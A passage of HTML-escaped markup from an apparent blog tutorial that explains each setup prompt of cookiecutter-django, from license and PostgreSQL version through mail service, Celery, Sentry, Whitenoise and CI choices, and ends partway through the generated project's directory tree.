style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;0.1.0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This first set of questions is fairly self-explanatory. The name of our project, its slug, its description, the author&amp;rsquo;s name, the domain that will redirect to our project, our email and the version of our code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;It is necessary to have a domain name for the project to work correctly&lt;/strong&gt;. In case you don&amp;rsquo;t have a domain you can still run the script, but there will be problems when using it in production.&lt;/p&gt;&#xA;&lt;h3 id=&#34;project-license&#34;&gt;Project license&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select open_source_license:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - MIT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - BSD&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - GPLv3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - Apache Software License 2.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; - Not open &lt;span style=&#34;color:#ff5c57&#34;&gt;source&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, 4, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Your project license. The world of licensing is a topic of its own. If you know absolutely nothing about licensing &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tldrlegal.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;use TLDRlegal&lt;/a&gt;&#xA; for guidance.&lt;/p&gt;&#xA;&lt;h3 id=&#34;timezone-windows-and-pycharm&#34;&gt;Timezone, Windows and Pycharm&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;timezone &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;UTC&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;windows &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_pycharm &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Timezone for our project, is the value that will take the TIMEZONE variable in our Django configuration file. It also asks us if the project should be configured to be used with windows and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.jetbrains.com/es-es/pycharm/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pycharm&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;database&#34;&gt;Database&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select postgresql_version:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - 12.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - 11.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - 10.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - 9.6&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; - 9.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, 4, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Subsequently the installer asks us the version of Postgresql that we want to use. Postgresql is an open source database engine, &lt;strong&gt;I recommend that you choose the newest version&lt;/strong&gt;, unless of course you have a specific reason to choose an older version.&lt;/p&gt;&#xA;&lt;p&gt;At the moment cookiecutter-django does not offer another database version, although it should be quite easy to change it in the django configuration and adapting the Docker files.&lt;/p&gt;&#xA;&lt;h3 id=&#34;gulp&#34;&gt;Gulp&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select js_task_runner:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - Gulp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now it asks us if we want to use Gulp or nothing as our task preprocessor. If you don&amp;rsquo;t know what Gulp is, Gulp allows us to automate tasks like minimizing code, detecting errors, optimizing images in the frontend code, it&amp;rsquo;s something quite similar to webpack but that people have been leaving behind in favor of the latter.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cloud-storage&#34;&gt;Cloud storage&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select cloud_provider:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - AWS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - GCP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where do we want to host our static and media files? The options are Amazon Web Services, Google Cloud Platform or none.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mail-server&#34;&gt;Mail server&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select mail_service:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - Mailgun&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - Amazon SES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - Mailjet&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - Mandrill&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; - Postmark&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; - Sendgrid&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; - SendinBlue&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; - SparkPost&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; - Other SMTP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, 4, 5, 6, 7, 8, &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our email configuration is still missing and this question takes care of that, it shows us the available options for &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/anymail/django-anymail&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Django-Anymail&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;asynchronism&#34;&gt;Asynchronism&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_async &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the project will use websockets with Uvicorn + Gunicorn&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-rest-framework&#34;&gt;Django Rest Framework&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_drf &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configure our project to use the Django Rest Framework&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-compressor&#34;&gt;Django compressor&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_compressor &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Django compressor is a tool that takes the javascript and css files from our HTML files and minifies and concatenates them, with the option of placing their content inline; directly as part of the HTML file.&lt;/p&gt;&#xA;&lt;h3 id=&#34;compiling-boostrap&#34;&gt;Compiling boostrap&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;custom_bootstrap_compilation &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An option to allow bootstrap recompilation using the task preprocessor specified above.&lt;/p&gt;&#xA;&lt;h3 id=&#34;celery&#34;&gt;Celery&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Celery is a task queue manager, it is ideal &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-use-django-framework-asynchronously-using-celery/&#34;&gt;for asynchronous processes such as time-consuming tasks&lt;/a&gt;&#xA;; sending e-mails, database queries, time-consuming mathematical calculations, etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;test-mail-server&#34;&gt;Test mail server&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_mailhog &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mailhog is a tool that intercepts email output from our application, allowing us to test the sending of emails.&lt;/p&gt;&#xA;&lt;h3 id=&#34;error-monitoring&#34;&gt;Error monitoring&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_sentry &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sentry is a real-time error and bottleneck monitoring tool.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whitenoise&#34;&gt;Whitenoise&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_whitenoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Whitenoise allows us to serve static files directly from Django. As you may know, it is not the most suitable option but this application &lt;strong&gt;offers a solution for those cases where it is impossible to modify the configuration of a web server&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the project configuration it is necessary to choose whitenoise or one of the file hosting options (AWS or GCP). If we do not choose any of them cookiecutter will give us an error.&lt;/p&gt;&#xA;&lt;h3 id=&#34;heroku&#34;&gt;Heroku&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_heroku &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By now you must know the &lt;strong&gt;PaaS&lt;/strong&gt; Heroku, they are tools that facilitate the deployment of an application. If we choose the option &amp;ldquo;y&amp;rdquo; cookiecutter will configure the project to take it to Heroku.&lt;/p&gt;&#xA;&lt;h3 id=&#34;continuous-integration&#34;&gt;Continuous integration&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Select ci_tool:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; - None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; - Travis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; - Gitlab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; - Github&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose from 1, 2, 3, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cookiecutter-django also allows us to choose a continuous integration (CI) tool or leave it blank. The options are Travis, Gitlab, Github or none.&lt;/p&gt;&#xA;&lt;h3 id=&#34;environment-variables-in-version-control&#34;&gt;Environment variables in version control&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keep_local_envs_in_vcs &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;y&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It asks us if we want to manage &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/&#34;&gt;the local environment variables&lt;/a&gt;&#xA; within the version control system.&lt;/p&gt;&#xA;&lt;h3 id=&#34;debug-for-django-cookiecutter-development&#34;&gt;Debug, for django-cookiecutter development&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;debug &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;n&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally there is debug, which is only relevant if you are contributing to the development of cookiecutter-django.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-project-structure-in-cookiecutter&#34;&gt;Django project structure in cookiecutter&lt;/h2&gt;&#xA;&lt;p&gt;Once we have answered all the questions, the resulting project structure for this example will be as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── compose&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── &lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── production&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── config&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── api_router.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── CONTRIBUTORS.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── docs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── conf.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── make.bat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── Makefile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── _source&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── LICENSE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── locale&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── README.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── local.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── manage.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── merge_production_dotenvs_in_dotenv.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── production.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── proyecto_de_django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── conftest.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── contrib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 